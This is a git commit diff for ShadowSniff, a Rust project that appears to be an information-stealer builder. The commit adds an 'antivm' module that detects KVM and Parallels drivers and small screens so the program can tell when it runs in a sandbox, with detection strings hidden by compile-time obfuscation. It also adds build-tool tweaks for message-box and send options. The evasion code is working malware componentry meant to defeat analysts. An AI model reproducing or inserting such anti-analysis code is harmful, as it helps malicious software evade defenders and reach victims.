feat: antivm

Cargo.toml

@@ -30,7 +30,8 @@ members = [
     "filesystem",
     "regedit",
     "sender",
-    "builder"
+    "builder", 
+    "antivm"
 ]
 
 [workspace.dependencies]
@@ -84,4 +85,4 @@ sender = { path = "sender" }
 rand_chacha = { version = "0.9.0", default-features = false }
 rand_core = { version = "0.9.3", default-features = false }
 cfg-if = "1.0.1"
-obfstr = { version = "0.4.4", optional = true }
+obfstr = { version = "0.4.4", optional = true }

README.md

@@ -565,6 +565,7 @@ I’d like to thank everyone whose contributions helped shape this project — w
 
 - [davimiku](https://github.com/davimiku/json_parser) — for a clean and efficient JSON parser implementation
 - [CasualX](https://github.com/CasualX/obfstr) — for compile-time string obfuscation
+- [EvilBytecode](https://github.com/EvilBytecode/GoDefender) — for virtualization checks
 
 ...and many others whose code, ideas, or techniques helped shape this project —
 even if only through a single clever line of Rust.

antivm/Cargo.toml

@@ -0,0 +1,9 @@
+[package]
+name = "antivm"
+version = "0.1.0"
+edition = "2024"
+
+[dependencies]
+obfstr = "0.4.4"
+filesystem = { path = "../filesystem" }
+windows-sys = { workspace = true }

antivm/README.md

@@ -0,0 +1 @@
+Inspired by [EvilBytecode/GoDefender](https://github.com/EvilBytecode/GoDefender)

antivm/src/kvm_check.rs

@@ -0,0 +1,47 @@
+/*
+ * This file is part of ShadowSniff (https://github.com/sqlerrorthing/ShadowSniff)
+ *
+ * MIT License
+ *
+ * Copyright (c) 2025 sqlerrorthing
+ *
+ * Permission is hereby granted, free of charge, to any person obtaining a copy
+ * of this software and associated documentation files (the "Software"), to deal
+ * in the Software without restriction, including without limitation the rights
+ * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+ * copies of the Software, and to permit persons to whom the Software is
+ * furnished to do so, subject to the following conditions:
+ *
+ * The above copyright notice and this permission notice shall be included in all
+ * copies or substantial portions of the Software.
+ *
+ * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+ * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+ * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+ * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+ * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+ * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+ * SOFTWARE.
+ */
+use crate::VmDetector;
+use filesystem::FileSystem;
+use filesystem::path::Path;
+use filesystem::storage::StorageFileSystem;
+use obfstr::obfstr as s;
+
+pub struct KVMCheck;
+
+impl VmDetector for KVMCheck {
+    // Code adapted from: https://github.com/EvilBytecode/GoDefender/blob/c8dc6b434a976579d59ec5d62d5ef9457495b49a/AntiVirtualization/KVMCheck/kvmcheck.go
+    fn is_running_in_vm(&self) -> bool {
+        [
+            s!("balloon.sys"),
+            s!("netkvm.sys"),
+            s!("vioinput"),
+            s!("viofs.sys"),
+            s!("vioser.sys"),
+        ]
+        .iter()
+        .any(|driver| StorageFileSystem.is_exists(Path::system_root() / "System32" / driver))
+    }
+}

antivm/src/lib.rs

@@ -0,0 +1,93 @@
+/*
+ * This file is part of ShadowSniff (https://github.com/sqlerrorthing/ShadowSniff)
+ *
+ * MIT License
+ *
+ * Copyright (c) 2025 sqlerrorthing
+ *
+ * Permission is hereby granted, free of charge, to any person obtaining a copy
+ * of this software and associated documentation files (the "Software"), to deal
+ * in the Software without restriction, including without limitation the rights
+ * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+ * copies of the Software, and to permit persons to whom the Software is
+ * furnished to do so, subject to the following conditions:
+ *
+ * The above copyright notice and this permission notice shall be included in all
+ * copies or substantial portions of the Software.
+ *
+ * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+ * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+ * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+ * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+ * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+ * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+ * SOFTWARE.
+ */
+
+#![no_std]
+
+mod kvm_check;
+mod monitor_metrics;
+mod parallels;
+
+extern crate alloc;
+
+use crate::kvm_check::KVMCheck;
+use crate::monitor_metrics::SmallScreenCheck;
+use alloc::boxed::Box;
+use alloc::vec::Vec;
+use crate::parallels::ParallelsCheck;
+
+macro_rules! is_running_in_vm_dispatch {
+    (
+        $enum_name:ident,
+        $(
+            $dispatch_variant:ident $( ( $pat:pat ) )? => $expr:expr
+        )*
+    ) => {
+        impl VmDetector for $enum_name {
+            fn is_running_in_vm(&self) -> bool {
+                match self {
+                    $(
+                        $enum_name::$dispatch_variant $( ($pat) )? =>
+                            $expr.is_running_in_vm(),
+                    )*
+                }
+            }
+        }
+    };
+}
+
+/// A trait for detecting whether the current process is running inside a virtual machine (VM).
+///
+/// Implement this trait for different platforms or detection mechanisms to identify
+/// if the host system is a virtualized environment.
+pub trait VmDetector {
+    /// Determines whether the current environment is a virtual machine.
+    ///
+    /// # Returns
+    ///
+    /// * `true` - if the process is likely running in a virtual machine.
+    /// * `false` - if the process is likely running a physical machine.
+    fn is_running_in_vm(&self) -> bool;
+}
+
+pub enum Check {
+    KVM,
+    SmallScreen,
+    Parallels,
+    Custom(Box<dyn VmDetector>),
+}
+
+is_running_in_vm_dispatch!(
+    Check,
+    KVM => KVMCheck
+    SmallScreen => SmallScreenCheck
+    Parallels => ParallelsCheck
+    Custom(check) => check
+);
+
+#[inline(always)]
+pub fn run_checks(checks: Vec<Check>) -> bool {
+    checks.iter().any(|v| v.is_running_in_vm())
+}

antivm/src/monitor_metrics.rs

@@ -0,0 +1,39 @@
+/*
+ * This file is part of ShadowSniff (https://github.com/sqlerrorthing/ShadowSniff)
+ *
+ * MIT License
+ *
+ * Copyright (c) 2025 sqlerrorthing
+ *
+ * Permission is hereby granted, free of charge, to any person obtaining a copy
+ * of this software and associated documentation files (the "Software"), to deal
+ * in the Software without restriction, including without limitation the rights
+ * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+ * copies of the Software, and to permit persons to whom the Software is
+ * furnished to do so, subject to the following conditions:
+ *
+ * The above copyright notice and this permission notice shall be included in all
+ * copies or substantial portions of the Software.
+ *
+ * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+ * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+ * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+ * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+ * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+ * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+ * SOFTWARE.
+ */
+use crate::VmDetector;
+use windows_sys::Win32::UI::WindowsAndMessaging::{GetSystemMetrics, SM_CXSCREEN, SM_CYSCREEN};
+
+pub struct SmallScreenCheck;
+
+impl VmDetector for SmallScreenCheck {
+    // Code adapted from: https://github.com/EvilBytecode/GoDefender/blob/c8dc6b434a976579d59ec5d62d5ef9457495b49a/AntiVirtualization/MonitorMetrics/monitormetrics.go
+    fn is_running_in_vm(&self) -> bool {
+        let (width, height) =
+            unsafe { (GetSystemMetrics(SM_CXSCREEN), GetSystemMetrics(SM_CYSCREEN)) };
+
+        width < 800 || height < 600
+    }
+}

antivm/src/parallels.rs

@@ -0,0 +1,47 @@
+/*
+ * This file is part of ShadowSniff (https://github.com/sqlerrorthing/ShadowSniff)
+ *
+ * MIT License
+ *
+ * Copyright (c) 2025 sqlerrorthing
+ *
+ * Permission is hereby granted, free of charge, to any person obtaining a copy
+ * of this software and associated documentation files (the "Software"), to deal
+ * in the Software without restriction, including without limitation the rights
+ * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+ * copies of the Software, and to permit persons to whom the Software is
+ * furnished to do so, subject to the following conditions:
+ *
+ * The above copyright notice and this permission notice shall be included in all
+ * copies or substantial portions of the Software.
+ *
+ * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+ * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+ * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+ * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+ * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+ * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+ * SOFTWARE.
+ */
+use crate::VmDetector;
+use filesystem::FileSystem;
+use filesystem::path::Path;
+use filesystem::storage::StorageFileSystem;
+use obfstr::obfstr as s;
+
+pub struct ParallelsCheck;
+
+impl VmDetector for ParallelsCheck {
+    fn is_running_in_vm(&self) -> bool {
+        StorageFileSystem
+            .list_files_filtered(Path::system_root() / "System32", &|file| {
+                [s!("prl_sf"), s!("prl_tg"), s!("prl_eth")]
+                    .iter()
+                    .any(|driver| {
+                        file.name()
+                            .map_or(false, |file_name| file_name.contains(driver))
+                    })
+            })
+            .map_or(false, |v| !v.is_empty())
+    }
+}

build.rs

@@ -30,6 +30,8 @@ fn main() {
     let after = env::var("CARGO_FEATURE_MESSAGE_BOX_AFTER_EXECUTION").is_ok();
 
     if before && after {
-        panic!("Only one of `message_box_before_execution` or `message_box_after_execution` can be enabled at a time.");
+        panic!(
+            "Only one of `message_box_before_execution` or `message_box_after_execution` can be enabled at a time."
+        );
     }
 }

builder/src/lib.rs

@@ -26,21 +26,21 @@
 
 #![feature(tuple_trait)]
 
-use std::fmt::Display;
 use inquire::InquireError;
 use proc_macro2::TokenStream;
+use std::fmt::Display;
 use std::fs;
 use std::io::Write;
 use std::marker::Tuple;
 use std::path::PathBuf;
 use tempfile::NamedTempFile;
 
 pub mod empty_log;
+pub mod message_box;
 pub mod send_expr;
 pub mod send_settings;
 pub mod sender_service;
 pub mod start_delay;
-pub mod message_box;
 
 pub trait ToExpr<Args: Tuple = ()> {
     fn to_expr(&self, args: Args) -> TokenStream;
@@ -69,6 +69,6 @@ pub trait Ask {
 
 pub trait AskInstanceFactory: Display {
     type Output;
-    
+
     fn ask_instance(&self) -> Result<Self::Output, InquireError>;
 }

builder/src/main.rs

@@ -26,14 +26,14 @@
 extern crate core;
 
 use builder::empty_log::ConsiderEmpty;
+use builder::message_box::{MessageBox, Show};
 use builder::send_settings::SendSettings;
 use builder::start_delay::StartDelay;
 use builder::{Ask, ToExprExt};
 use inquire::InquireError;
 use inquire::ui::{Color, RenderConfig, StyleSheet, Styled};
 use quote::quote;
 use std::process::{Command, Stdio};
-use builder::message_box::{Show, MessageBox};
 
 fn build(
     send_settings: SendSettings,
@@ -45,7 +45,8 @@ fn build(
 
     let mut builder = &mut Command::new("cargo");
 
-    builder = builder.arg("build")
+    builder = builder
+        .arg("build")
         .env("RUSTFLAGS", "-Awarnings")
         .arg("--release")
         .arg("--features")
@@ -69,23 +70,24 @@ fn build(
         .stderr(Stdio::inherit());
 
     if let Some(message_box) = message_box {
-        builder = builder
-            .arg("--features");
-
+        builder = builder.arg("--features");
+
         builder = match message_box.show {
             Show::Before => builder.arg("message_box_before_execution"),
             Show::After => builder.arg("message_box_after_execution"),
         };
 
-        builder = builder
-            .env(
-                "BUILDER_MESSAGE_BOX_EXPR",
-                message_box.message.to_expr_temp_file(()).display().to_string(),
-            )
+        builder = builder.env(
+            "BUILDER_MESSAGE_BOX_EXPR",
+            message_box
+                .message
+                .to_expr_temp_file(())
+                .display()
+                .to_string(),
+        )
     }
 
-    let _ = builder.status()
-        .expect("Failed to start cargo build");
+    let _ = builder.status().expect("Failed to start cargo build");
 }
 
 macro_rules! ask {